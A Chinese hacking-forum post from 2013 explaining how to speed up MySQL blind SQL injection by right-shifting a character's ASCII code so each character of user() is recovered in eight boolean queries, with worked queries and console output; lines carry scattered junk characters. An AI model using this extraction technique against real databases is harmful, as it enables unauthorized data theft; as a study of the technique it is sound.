找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2233|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位- g4 f& v% G' F" k* j* e: Z4 s
2 K' ^/ d+ {. J) E
* ?* J2 l; a$ w7 i& E4 ^; u
& ~, z1 g1 w6 N  ?
下面将以查询mysql数据库当中user()的第一位为例:# p9 {+ K( F9 {, M0 U

7 I7 h6 m4 T1 ^9 Y
5 M5 d/ K, L# Q5 |+ |
, ?$ Z  [4 S+ Y3 Ips:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)7 e) U* Z* D4 r2 G

, @1 G: q9 _4 d# m/ J! M- y0 W
' G0 V( i9 {! V" ^
* C3 ~; Q: K. k% A( S" {. L! z5 u7 S% E首先执行如下sql语句:
' i! ]8 t& i. p; f- `& |  i7 t5 E+ l& @

1 _6 ?- ~) {, Y1 a7 }" _3 {( p" o2 P0 [6 r
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
% C: s; U( L' r* z; K/ e6 N3 j5 o( D( o( q. j* r2 k
3 p! }% m, k- V3 F3 M4 u. Z, v& j
6 |6 y. X9 L- v7 v8 \
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的' c: C* |. s& z2 @7 u0 O. z" H
1 h& Z+ [# h/ R+ O0 l
9 P* n2 ~$ b: `- `9 W# ]2 P' e

8 [. H4 Q! p1 X% T% z6 }1 i$ }6 A2 K$ u第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为18 j" Y- j$ }* d. e/ O
7 O" y$ {( K" L- c  N. b

, h' Y% a+ ~, I
8 ^& I5 K9 R6 H( {" y% \如果运算结果为1,说明第一位为0,不为1
" r6 u0 y# L4 g4 t- q* N% u" r  C0 p

, m0 O. _6 F: h/ @- S1 _& {; P
. u: M+ O) N# ~, O; W- O8 _+————————————–+
6 G. c* H5 ~! T% P; m
: V! s6 Q7 ~$ r| (ascii((substr(user(),1,1))) >> 7)=0 |
3 j1 }7 z: ]. s/ f7 k: A4 T6 I$ ]
: J' l7 s2 c$ _! D- F+ f, a+————————————–+
3 ~8 P- K6 h4 w9 q5 U
9 d! {$ }, F8 a4 `+ c* E| 1 |
( }8 k( L+ l* w/ \$ d8 p: B; O& M% {0 X0 o: K' @1 s' ^
+————————————–+
, V5 ~8 J) K6 p0 r; h' B  D* m. B3 U: P+ L6 K( {. F6 i& q0 W
1 row in set (0.00 sec)
1 S8 y3 j' Z$ |8 J; d' I% ^% y+ ^- j( b, E& h
这样我们就确定这个8bit的ascii的第一位为0
. I) w9 R# q& B5 l7 o9 U' u0 r4 e1 N2 F

! ]( B$ C2 A4 K8 q1 K/ y
  s+ h7 p! v! Y7 M第二次我们来做6次右偏移来确定前两位/ N6 ^! ~# n! T" b. I1 c
! I& q8 I  ~. s# J+ ~5 L0 B

% o4 _; @( k& ^( C* k! B" y
; g2 f! \6 h; U# J4 C! Z. w" R前两位可能是01或00,即依然可以与0做比较,
9 j, d4 f  E8 V3 M" A
# \! ~5 C% M* C4 j+ u! L) ^mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
6 J! `# P7 Q( a, O0 z
; S+ H5 ], {; V* C+————————————–+
  `6 z5 |! l7 S5 x; T. U+ U6 X; {8 e3 Y
| (ascii((substr(user(),1,1))) >> 6)=0 |
' L& N( m% `: }9 n% l1 E/ g3 V8 B/ a, ?5 |3 t* @% C% d% q& Z: C5 ~$ V
+————————————–+
2 v% J( |6 G. h: ~$ t; Z" H5 j: y8 O) v
| 0 |; m: W3 i: Y4 G$ s( H

  G; ?# V" h. f$ ^3 d, Y( Q+————————————–+0 b/ R, i3 ]3 f! h) B8 E3 m' x0 c

* Z( Z9 A0 f* p" m" u8 q1 row in set (0.00 sec)0 C; [. x7 ~! [4 A1 O

$ t6 [0 h1 b# A( V
) Y" i, ?' n- C& a+ ^( n8 J: D) Z* ]# H
结果为0,即第二位为1
  w* C2 E2 G5 G8 o" C- q) w
5 g! c) K, t& {/ }9 z7 L6 q
$ [* J+ j* |) [* b& t, }* _
7 G) f4 e4 k, x8 V开始猜测前三位为010或011
. \7 q+ |, l- L* N+ A
. ^: H  w# a* e2 ]6 W3 x: ?2 N ) k3 N- _, D/ p( Y2 M

. A8 F5 Q" b6 _' R: S# z让我们看看010和011的ascii码是多少
0 n1 ], O' w$ k# G# X/ z$ `( k5 Z- Q/ C- x; t# o
1 j7 F6 U! G$ ]

- M' G- G2 C1 G: ~3 P分别查询select b’011′ select b’010′
3 p0 J( q/ J! ?' d$ W+ Y8 d+ [; Y1 T2 y, y
. @, ^) G4 h8 \5 D# ~! v
! ]) ~4 |- I$ ^
获得结果 010 = 2 011 = 3( ~6 \! t/ g1 L& F/ |& V: B

! J9 U2 x( h" F1 z, [. v/ h  F' Y- ^/ T
$ y% P) h& [+ I5 N/ F& p/ o# H; o) r" G
执行如下sql:
8 {6 {( S1 X0 t: D) b" A) B0 f& w
  X% f/ W! `+ j1 j
, z: V. e4 K+ L% v- |7 I5 y; ~! z* i9 `
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;8 x3 r& n1 V; t; b5 ?

6 V7 A1 M3 l2 Z+————————————–+& t; t: l! S9 r$ E  E" t( }

1 x! Y( K( }1 z/ T' I) i% `| (ascii((substr(user(),1,1))) >> 5)=2 |$ ?3 G, o- S2 \& F2 h5 n: }% F
' i6 |) r( \/ S- [$ ~) G' I8 k
+————————————–+
7 \; {3 c, a1 V9 ?6 @: C- h1 b2 T. g" c9 @9 d. u# }- Q% K4 ^
| 0 |( x# S8 }! j3 P& Q8 ?

* W  ^1 v3 w5 o6 d+————————————–+
% s8 O: M0 `: |; L3 I
; l4 `+ }' p0 G# i# q% a$ j) `' f即前三位不为010,而是011
  y' o5 H, ?; g2 L6 n% B
0 Y" A7 }/ n0 x  @* } 1 y0 O# B5 F1 W: |$ i% H  j3 F
+ X0 D6 D! A4 D& f" s
直到获得最后一位& N( ^, l3 h  @; F5 W  ]$ r1 ?
. Y2 U* M: P  B0 p$ q3 q) C
6 x7 v4 v% q# Z( M) H8 E

- r8 r% `% B+ D" t' q8 K0 s: I最终结果为:01110010( U: b8 B+ q* v

* F- V0 z5 X9 [+ C+ g
: L+ ]8 s' Y* Y- {" N9 U# ?: @/ [  _2 K" r
转换一下:, n2 ]% M9 p  u; p# |- y8 W! p# [
9 ^+ _5 A: b. s* _" @: v3 }: R

5 r, M- N2 e' }- `( @4 d) C! ~* A( ?( {9 p
select b’01110010′+ b7 K$ t9 Z8 P1 S. Y9 M

/ |  U7 T6 W$ y! ]2 { # l" x9 b  y# \! N( l
# d/ {0 v0 l& N' q3 _: v# z5 U% O
查询结果
# S% A3 j9 K: B( d6 {: h
8 j/ y* P7 }. N& m
: T% ~7 d- O' j! b5 L
$ O$ }. ^$ k2 G7 Q% z+————-+3 I* V$ f  D2 v

0 }5 q# Q$ o- D: Q; j| b’01110010′ |; |5 g+ G( _' G( R! ^7 I$ _

) j- I, f# {3 P; _  A' @+————-+
* G7 t# o1 }9 L) }! u( `8 D! v3 t; d. A( \8 w
| r |. j6 y+ x. u% U: `. N
, p  X& J1 w! p) U$ T
+————-+. f  k" v4 c% E& ^& `3 K: I( x

0 D9 w  E, I1 t1 A1 row in set (0.00 sec)
3 z: b6 X5 E1 E, K: w0 K0 X
) ]' u" I( ]% c' M ) @6 u, t5 k7 d
( \2 ~" Z. X* G7 j# o8 V6 Z
这样我们就获得了user()的第一位.其它位依此类推
, h+ L8 Z/ }0 F# l( g8 @2 V( F8 Y; F7 M( i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表